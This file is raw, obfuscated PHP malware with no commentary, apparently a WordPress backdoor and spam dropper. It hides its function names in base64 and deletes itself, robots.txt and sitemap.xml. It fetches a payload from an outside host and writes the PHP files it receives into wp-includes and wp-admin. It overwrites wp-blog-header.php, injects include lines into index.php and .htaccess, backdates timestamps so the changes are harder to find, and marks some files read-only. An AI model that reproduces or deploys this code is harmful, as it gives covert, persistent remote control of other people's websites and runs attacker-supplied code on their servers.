<?php $poD = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $poD[1](60);$poD[2](1); $ngs = $_GET; $HOj = $_SERVER; $Cmf = !empty($ngs['a'])?$ngs['a']:0; $LRZ = !empty($ngs['b'])?$ngs['b']:'x'; function XjAF($Cmf){ $HgW = explode('~',str_replace('1003','1008',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L2NkbjEyLn5zYXhob3QufnNob3AvX2FwaV9+aHlfenEyNjA0Ln5waHA/dWl+ZD0xMDAzJnRtPX5IVFRQX0hPU1R+SFRUUFN+SFRUUFN+b25+aHR0cHN+aHR0cH46Ly9+L34vW3cwLTlcLi1dL35+d3d3Ln5+PX4xMX5pbmRleC5waHB+Lmh0YWNjZXNzfnd3d34ufi1+fkhUVFBfSE9TVH53cC1jb25maWd+Ln5lfiJlIn4ifiJ+d3AtaW5jbHVkZXN+d3Atc2V0dGluZ3MucGhwfmNnaS1iaW4vLn4jTm90V3JpdGV+NW1kfldQfndwLWNvbmZpZ34ufndwLXhtbH4ucGhwfkRpcmVjdG9yeUluZGV4fkRpcmVjdG9yeUluZGV4IH53cC1hZG1pbi9tcy1+LnBocH5QSFB+PD9waHAgQGluY2x1ZGVfb25jZSgifiIpOyA/Pn48P3BocCBpZihmaWxlX2V4aXN0cygiaW5kZXguaHRtbCIpKXtpbmNsdWRlKCJpbmRleC5odG1sIik7fWVsc2V7QGluY2x1ZGUoIl9pbmRleC5odG1sIik7fT8+fi9pbmRleC5odG1sfi9faW5kZXguaHRtbH48YSBocmVmPSI/YT0yJnM9fiI+c2l0ZTEwMDM8L2E+fmN1cmxfZXhlY35odHRwfm1ldGhvZH5HRVR+dGltZW91dH47fjt+I0Vycm9yfm1zZ35tc2d+O347fmNhY2hlfmltYWdlc35hc3NldHN+d3AtYWRtaW5+d3AtY29udGVudH53cC1pbmNsdWRlc35tc2d+U0g6fmluZGV4fi9+LnBocH5tc2d+LyhfX01BQ09TWHxjZ2ktYmlufHBsdWdpbnN8YWtpc21ldHx1cGxvYWRzKS9+L2luZGV4LnBocA=='))); return $HgW[$Cmf]; } if ($Cmf) { @$poD[3](__FILE__); @$poD[3]($HOj[XjAF(0)]); if($poD[4]($HOj[XjAF(0)],XjAF(2))) $HOj[XjAF(3)] = $poD[5](XjAF(4), XjAF(2),$HOj[XjAF(3)]); define('W', rtrim($poD[5]($HOj[XjAF(3)],XjAF(8),$HOj[XjAF(0)]),XjAF(4))); @$poD[6](W); @$poD[3](W.XjAF(11)); @$poD[3](W.XjAF(12)); @$poD[3](W.XjAF(13)); $miD = XjAF(14).XjAF(15).XjAF(16).XjAF(17).XjAF(18).XjAF(19).XjAF(20).$LRZ; $RZN = $HOj[XjAF(21)]; $RZN = ((isset($HOj[XjAF(22)]) && $HOj[XjAF(22)]==XjAF(24)) ? XjAF(25) : XjAF(26)).XjAF(27).$RZN.XjAF(28); $Wdc = gjae($miD); $RZN .= WIsy(@$Wdc[14]).'/10086/'; $BLY = XjAF(35); $HgW = XjAF(36); $VSQ = BfEH()+2; $_N1 = substr(str_replace(array(XjAF(37),XjAF(38),XjAF(39)),XjAF(8),$HOj[XjAF(21)]),0,3); $_N2 = str_replace(XjAF(42),XjAF(38).$_N1,WIsy($Wdc[2])); $VrD = WIsy($Wdc[0]); $eXz = WIsy($Wdc[6]); $ndM = ($poD[9](XjAF(48)) && $poD[9](XjAF(49))); $ngs = XjAF(50).$_N1; if($ndM) $ngs = $_N2; @$poD[3]($ngs); EWLo($ngs,$eXz,$VSQ); if(!$poD[9]($ngs)) { exit(XjAF(51));} KLvR($RZN); KLvR($poD[10]($LRZ)); if($ndM) { KLvR(XjAF(53)); $TRP = str_replace(XjAF(42),XjAF(38).$_N1,WIsy($Wdc[1])); @$poD[3]($BLY);EWLo($BLY,$TRP,$VSQ); $_N3 = XjAF(56).substr($_N1,0,3).XjAF(57); EWLo($_N3,$TRP,$VSQ,1); $VrD = str_replace(XjAF(58), XjAF(59).$_N3,$VrD); $ZMj = base64_decode('PD9waHANCi8qKg0KICoqL0BJTkNMVURFX09OQ0UvKiovICd3cC1pbmNsdWRlcy93cC1jb25maWcnOy8qDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7DQoNCgkkd3BfZGlkX2hlYWRlciA9IHRydWU7DQoNCgkvLyBMb2FkIHRoZSBXb3JkUHJlc3MgbGlicmFyeS4NCglyZXF1aXJlX29uY2UgX19ESVJfXyAuICcvd3AtbG9hZC5waHAnOw0KDQoJLy8gU2V0IHVwIHRoZSBXb3JkUHJlc3MgcXVlcnkuDQoJd3AoKTsNCg0KCS8vIExvYWQgdGhlIHRoZW1lIHRlbXBsYXRlLg0KCXJlcXVpcmVfb25jZSBBQlNQQVRIIC4gV1BJTkMgLiAnL3RlbXBsYXRlLWxvYWRlci5waHAnOw0KDQp9DQo='); $ZMj = str_replace('wp-config','.'.$_N1,$ZMj); $ZMj1 = 'wp-blog-header.php'; @unlink($ZMj1);EWLo($ZMj1,$ZMj,$VSQ); $BuZ = XjAF(60).PRWJ(6,2).XjAF(57); if($poD[11](@$Wdc[3])>99) KLvR(EWLo($BuZ,WIsy($Wdc[3]))); } else { KLvR(XjAF(62)); $hvl = XjAF(63).$ngs.XjAF(64); if($poD[9]($BLY)) { jJwl($BLY,$hvl,1,$ngs); } else { $hvl .= XjAF(65); @$poD[3]($BLY);EWLo($BLY,$hvl,$VSQ); @$poD[13](W.XjAF(66),W.XjAF(67)); } } @$poD[3]($HgW);EWLo($HgW,$VrD,$VSQ,1); if($poD[11](@$Wdc[5])>3) EWLo(WIsy($Wdc[5]),WIsy($Wdc[4])); $CEn = []; KLvR(QbQG()); } else { exit(XjAF(68).time().XjAF(69)); } function gjae($miD) {global $poD; if(!$poD[15](XjAF(70))){ $HgW = $poD[16](array(XjAF(26)=>array(XjAF(72)=>XjAF(73), XjAF(74)=>18))); $HOj = @$poD[17]($miD, false, $HgW); }else{ $VSQ = $poD[18](); $poD[19]($VSQ, CURLOPT_URL, $miD); $poD[19]($VSQ, CURLOPT_RETURNTRANSFER, 1); $poD[19]($VSQ, CURLOPT_SSL_VERIFYPEER, false); $poD[19]($VSQ, CURLOPT_TIMEOUT, 18); $HOj = $poD[20]($VSQ); $poD[21]($VSQ); } if(!empty($HOj) && $poD[22]($HOj,XjAF(75))) $Cmf = $poD[23](XjAF(75),$HOj); if(!empty($Cmf) && $poD[24]($Cmf)>9) return $Cmf; exit(XjAF(77)); } function KLvR($Cmf) {global $poD; if (!empty($Cmf[XjAF(78)])) { echo $poD[25](',',$Cmf[XjAF(78)]).XjAF(75); } else { echo $Cmf.XjAF(75); } } function QbQG() { global $poD, $Wdc, $CEn, $ndM; nqhj(W); $Cmf = count($CEn); $HgW = array(); if(count($CEn)<3) $HgW = array(PRWJ(5),XjAF(82), XjAF(83), XjAF(84)); if($ndM) $HgW = array(XjAF(85), XjAF(86), XjAF(48)); if($Cmf>1) { $VSQ = $poD[36]($CEn, $Cmf); foreach($VSQ as $i) { $poD[37]($HgW, $CEn[$i]); } }else{ $poD[37]($HgW, @$CEn[0]); } $VrD = []; $VrD[XjAF(78)][] = XjAF(89); $II = 4; $JJ = 7; foreach($HgW as $i=>$v) { if(!$poD[9]($v)) $poD[29]($v); $TRP = $poD[27](PRWJ(5)); switch ($II) { case 4: $TRP = 'e'.$TRP;break; case 5: $TRP = 'm'.$TRP;break; case 6: $TRP = 'l'.$TRP;break; case 7: case 8: case 9: $TRP = XjAF(90);break; default: $TRP = 'l'.$TRP; } $eXz = $v.XjAF(4).$TRP.XjAF(57); $ngs = WIsy($Wdc[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $VrD[XjAF(78)][] = EWLo($eXz,$ngs); if($II>10) break; } if($ndM) { if($poD[11](@$Wdc[11])>3) EWLo(WIsy($Wdc[11]),WIsy($Wdc[10])); } else { if($poD[11](@$Wdc[12])>3) EWLo(WIsy($Wdc[12]),WIsy($Wdc[10])); } if($poD[11](@$Wdc[13])>3) EWLo(WIsy($Wdc[13]),WIsy($Wdc[10])); return $VrD; } function nqhj($Cmf) { global $poD, $CEn, $ndM; if ($HgW = $poD[38]($Cmf)) { while (($VSQ = $poD[39]($HgW)) !== false) { if ($VSQ != '.' && $VSQ != '..') { $VrD = $Cmf . '/' . $VSQ; if ($poD[40]($VrD) && !$poD[41]($VrD) &&!$poD[42](XjAF(94),$VSQ)) { $TRP = $poD[5](W.'/','',$VrD); if ($poD[43]($TRP,'/')<3) { nqhj($VrD); } $N=0; if($ndM) $N=3; if(!$poD[9]($VrD.XjAF(95)) && $poD[43]($TRP,'/')>=$N) $poD[37]($CEn, $TRP); } } } } $poD[44]($CEn); } function WIsy($s) {global $poD;$S = '';$a = $poD[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $poD[26]($v);}return $S;} function PRWJ($n=5,$t=0) {global $poD;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $poD[24]($arr) - 1)];}return ($t==1 ? $poD[10]($s) : ($t==2 ? $poD[27]($s) : $s));} function EWLo($F,$C,$T='',$mod=0) {global $poD;if(!$poD[4]($F,W)) $F = W.'/'.$F;$dir = $poD[28]($F);if(!empty($dir)&&!$poD[9]($dir)) @$poD[29]($dir);$fp = @$poD[30]($F, 'w');@$poD[31]($fp, trim($C));@$poD[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$poD[33]($F, $T);if($mod) @chmod($F,0444);return ($poD[9]($F) ? $poD[5](W,'',$F) : '~');} function BfEH() {global $poD;$VSQ = time()-rand(10,100)*86400;$tArr = $poD[34](W.'/*.php');foreach($tArr as $v) {$VSQ2 = @$poD[35]($v); if($VSQ2>100&&$VSQ2<$VSQ) $VSQ = $VSQ2;}return $VSQ;} function jJwl($F,$C,$T=1,$K='~') {global $poD;if(!$poD[4]($F,W)) $F = W.'/'.$F;if($poD[9]($F)) {$code = @$poD[17]($F);if(!empty($code)&&$poD[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$poD[35]($F);if(!$poD[9]($F.'.0')) @$poD[13]($F,$F.'.0');return EWLo($F,$code,$t+2);}return '~';}} function nLlh($F,$a,$b,$k) {if(!strstr($F,W)) $F = W.'/'.$F;if(file_exists($F)) {$code = @file_get_contents($F);if(!empty($code)&&!preg_match('/'.$k.'/',$code)) {$time = @filemtime($F);$code = str_replace($a,$b,$code);return EWLo($F,$code,$time+5);}return '~';}}